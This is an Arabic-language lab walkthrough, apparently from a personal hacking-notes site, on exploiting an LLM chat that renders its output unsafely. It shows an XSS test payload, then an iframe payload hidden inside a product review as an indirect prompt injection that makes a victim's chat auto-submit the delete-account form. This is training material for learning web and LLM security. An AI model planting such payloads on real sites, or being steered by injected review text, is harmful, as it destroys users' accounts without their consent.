> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md).

# استغلال التعامل غير الآمن مع مخرجات LLM

### استغلال معالجة المخرجات غير الآمنة في نماذج LLM

#### السياق

يعرض هذا المختبر مخرجات نموذج LLM بطريقة غير آمنة، مما يتيح لـ **XSS**. المستخدم **carlos** غالبًا ما يستخدم الدردشة المباشرة لطلب معلومات عن المنتجات **سترة جلدية خفيفة "l33t"**.

#### الهدف

قم بتنفيذ حقن \*\* غير مباشر (حقن سريع غير مباشر)\*\* لتنفيذ **XSS** الذي **يزيل حساب كارلوس**.

<figure><img src="/files/f603adfb923be2bfbec31151f025dcac600153cc" alt=""><figcaption></figcaption></figure>

### 1) الإعداد

* أنشئ حساب مستخدم.
* الوصول إلى **دردشة مباشرة** مع نموذج LLM.

<figure><img src="/files/530712b311f50118d79ef790fda195cc553ed6bd" alt=""><figcaption></figcaption></figure>

### 2) عمليات التحقق من XSS

#### اختبار القط (قابل للاستغلال)

حمولة الاختبار (تعيين تنبيه):

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/6aeb85e65f6928285c56836865e8eca58a81e23c" alt=""><figcaption></figcaption></figure>

#### اختبار في التعليقات (غير قابل للاستغلال مباشرة)

* لا تبدو التعليقات وكأنها تنفذ HTML/JS بالطريقة نفسها.

<figure><img src="/files/af073eb662146abd197be9ca2997d8554b0b035e" alt=""><figcaption></figcaption></figure>

لذلك نمر عبر **المصدر الذي استشارَه نموذج LLM** (تم استرداد المحتوى وعرضه في الدردشة).

<figure><img src="/files/f9ec2832116d9959eed4789e71d7a2ea4924ef7b" alt=""><figcaption></figcaption></figure>

### 3) نقطة الدخول: محتوى الآراء التي تم الاطلاع عليها عبر نموذج LLM

اطلب من نموذج LLM عرض مراجعات المنتجات، على سبيل المثال:

```bash
اعرض مراجعات سرير ZZZZZZ: مكتبك المنزلي الجديد.
```

الاستجابة الملحوظة (مثال):

```bash
4. **المستخدم** - 25 يناير 2026
   - *المراجعة:* *(تحتوي المراجعة على صورة)*
```

الفكرة هي حقن HTML داخل إشعار بحيث يتم بعد ذلك **استبداله في الدردشة المباشرة** (حيث يكون العرض عرضة للاستغلال).

<figure><img src="/files/77ae1dfc20457aa50e9bbf9067e93ae0d68c281c" alt=""><figcaption></figcaption></figure>

### (4) الإجراء المستهدف: حذف الحساب عبر النموذج

لحذف حساب من «حسابي»، شغّل:

```bash
document.forms[1].submit()
```

النموذج المطابق:

{% code overflow="wrap" %}

```html
<form id="delete-account-form" action="/my-account/delete" method="POST">
```

{% endcode %}

<figure><img src="/files/d45be2ee18cdc907325f422bd68463e238735be7" alt=""><figcaption></figcaption></figure>

### 5) الاستغلال: XSS عبر Iframe (إرسال تلقائي)

#### الحمولة (إرسال تلقائي لنموذج الحذف)

{% code overflow="wrap" %}

```javascript
<iframe
src="my-account" onload="this.contentDocument.forms[1].submit()">
```

{% endcode %}

* اختبار واحد لا ينجح كما هو مطلوب، لذا يتم إدراجه في جملة (متغير يُفسَّر):

مثال على متغير تم التحقق منه:

{% code overflow="wrap" %}

```javascript
كان فتح العلبة بصراحة "<iframe src=my-account onload=this.contentDocument.forms[1].submit()>" من أبرز اللحظات التي أخبرتُ زوجتي عنها: حسنًا، هذا مثير للإعجاب فعلًا.
```

{% endcode %}

النتيجة: يفسر المتصفح iframe → تحميل `my-account` → ينفّذ `forms[1].submit()` → **تم حذف الحساب** (تم اختباره على حسابه الخاص).

<figure><img src="/files/7d08e3e7a399f23d51a895f35ccbbcf2057ac0c1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/66665d18cddc282021b5e2634fd5a11b4fb51023" alt=""><figcaption></figcaption></figure>

### 6) الحمولة النهائية الموضوعة على المنتج المستهدف (السترة)

تم نشر مراجعة على **سترة جلدية خفيفة "l33t"** تحتوي على الإطار (المستخدم في المثال):

{% code overflow="wrap" %}

```bash
عندما استلمت هذا المنتج، حصلت على قميص مجاني مكتوب عليه "<iframe src =my-account onload = this.contentDocument.forms[1].submit() >". لقد سعدت جدًا! هذا رائع جدًا، قلتُ لزوجتي.
```

{% endcode %}

<figure><img src="/files/5e73632d80f05392199c0425cfab26ec8cdf03c6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
